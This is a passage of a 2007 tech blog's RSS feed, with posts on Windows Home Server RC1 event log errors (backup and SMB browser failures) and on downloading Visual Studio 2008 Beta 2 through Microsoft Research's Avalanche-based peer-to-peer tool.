		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		public bits for Rosario
	&lt;/span&gt;
&lt;/a&gt; are available.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you ever wanted to run Linux apps in Windows then &lt;a
	
		href = &#34;http://sourceforge.net/projects/xming/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		you need Xming
	&lt;/span&gt;
&lt;/a&gt; which is a free unlimited X Window server and can run on XP, 2003 and Vista.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>More WHS Errors</title>
      <link>/post/2007/08/more-whs-errors/</link>
      <pubDate>Sun, 05 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/more-whs-errors/</guid>
      <description>&lt;p&gt;Here is a flavor or some more WHS errors that I have been getting in the eventlog and not really had the time to do the research to figure out what they are. Looking at these (and there are man more), does not inspire too much confidence &lt;p&gt;

    &lt;img src=&#34;images/emotion-6.gif&#34; alt=&#34;Sad&#34;/&gt;

&lt;/p&gt; and I am varied to start using this in &amp;ldquo;production&amp;rdquo; mode. Hopefully they have been fixed in the RTM version but as I am running RC1, not sure.&lt;/p&gt;
&lt;p&gt;One:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Type: Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Source: MRxSmb  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Category: None  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event ID: 8003  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Date:  05/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Time:  13:05:04  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; User:  N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Computer: TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; The master browser has received a server announcement from the computer IO that believes that it is the master browser for the domain on transport NetBT\_Tcpip\_{C301E839-1BC7-4B75-B3CC. The master browser is stopping or an election is being forced.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Data:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 0000: 00 00 00 00 03 00 52 00   ......R.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 0008: 00 00 00 00 43 1f 00 c0   ....C..À  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 0010: 00 00 00 00 00 00 00 00   ........  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 0018: 11 00 00 00 00 00 00 00   ........  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 0020: 00 00 00 00 00 00 00 00   ........&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Two:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Type: Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Source: HomeServer  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Category: Backup  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event ID: 267  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Date:  04/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Time:  04:20:16  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; User:  N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Computer: TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Client Backup server failed at d:\\qhsv1\_rc\\qhs\\src\\backup\\util\\diskfile.cpp(421)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Three:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Type: Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Source: HomeServer  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event Category: Backup  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Event ID: 272  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Date:  04/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Time:  04:20:16  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; User:  N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Computer: TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; Unexpected error 0x45d from WriteFile on D:\\folders\\{00008086-058D-4C89-AB57-A7F909A47AB4}\\Data.4096.14.new: The request could not be performed because of an I/O device error.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>VS.NET 2008 with &#34;Avalanche&#34;</title>
      <link>/post/2007/08/vs-net-2008-with-avalanche/</link>
      <pubDate>Fri, 03 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/vs-net-2008-with-avalanche/</guid>
      <description>&lt;p&gt;I have been meaning to post this for a few days but not had the change. In the meantime it seems this has was picked up by /. (among others) and since then it has become fairly well publicized. &lt;a
	
		href = &#34;http://research.microsoft.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MSR
	&lt;/span&gt;
&lt;/a&gt; (Microsoft Research) has a research project about &amp;ldquo;file swarming with network coding&amp;rdquo; or in simple terms peer-to-peer called &lt;a
	
		href = &#34;http://research.microsoft.com/camsys/avalanche/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avalanche
	&lt;/span&gt;
&lt;/a&gt;. This is different from the &amp;ldquo;normal&amp;rdquo; P2P networks that you might have used in the past. Those networks distribute blocks of files via &lt;a
	
		href = &#34;http://research.microsoft.com/~pablo/paraload.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		swarming
	&lt;/span&gt;
&lt;/a&gt; to all the nodes on the mesh network and as the the number of nodes increases, the harder it becomes to schedule these chunks of file in an optimal manner. So, how is Avalanche different you ask? Well here is what they have to say about it:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Instead of distributing the blocks of the file, peers produce linear combinations of the blocks they already hold. Such combinations are distributed together with a tag that describes the parameters in the combination. Any peer can generate new unique combinations from the combinations it already has. When a peer has enough independent combinations, it can decode and build the original file.&amp;rdquo;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Sounds, all well and good but what does it have to do with Visual Studio 2008? Well MSR has released a &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=9a927cf6-16e4-4e21-9608-77f06d2156bb&amp;amp;DisplayLang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		tool called MSDC (Microsoft Secure Content Distribution)
	&lt;/span&gt;
&lt;/a&gt; based on Avalanche - of course which is different from MSDN. &lt;p&gt;

    &lt;img src=&#34;images/emotion-7.gif&#34; alt=&#34;Tongue Tied&#34;/&gt;

&lt;/p&gt; This allows you to leech download VS.NET 2008 Beta 2 which was recently was made available publicly. But there is a catch - this is &lt;strong&gt;available only until August 22nd&lt;/strong&gt; - so if you want to use this better get your act together.&lt;/p&gt;
&lt;p&gt;I had downloaded VSTS 2008 using this almost a week ago and below are some screen-shots showing what my experience from my ISP at home. This might have speeded up a little since as I suppose there are more people downloading using this now. As you can see (click on the images to see a zoomed version) over time the speed increased quite dramatically and I have to say it was much faster compared to MSDN.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/Avalanchegetitwhileyoucan_1304B/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/Avalanchegetitwhileyoucan_1304B/image_3.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_3.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/Avalanchegetitwhileyoucan_1304B/image_4.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_4.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/Avalanchegetitwhileyoucan_1304B/image_5.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb_5.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Windows Home Server&#39;&amp;#039;&#39;s Network Health</title>
      <link>/post/2007/07/windows-home-servers-network-health/</link>
      <pubDate>Tue, 31 Jul 2007 00:00:00 +0000</pubDate>
      
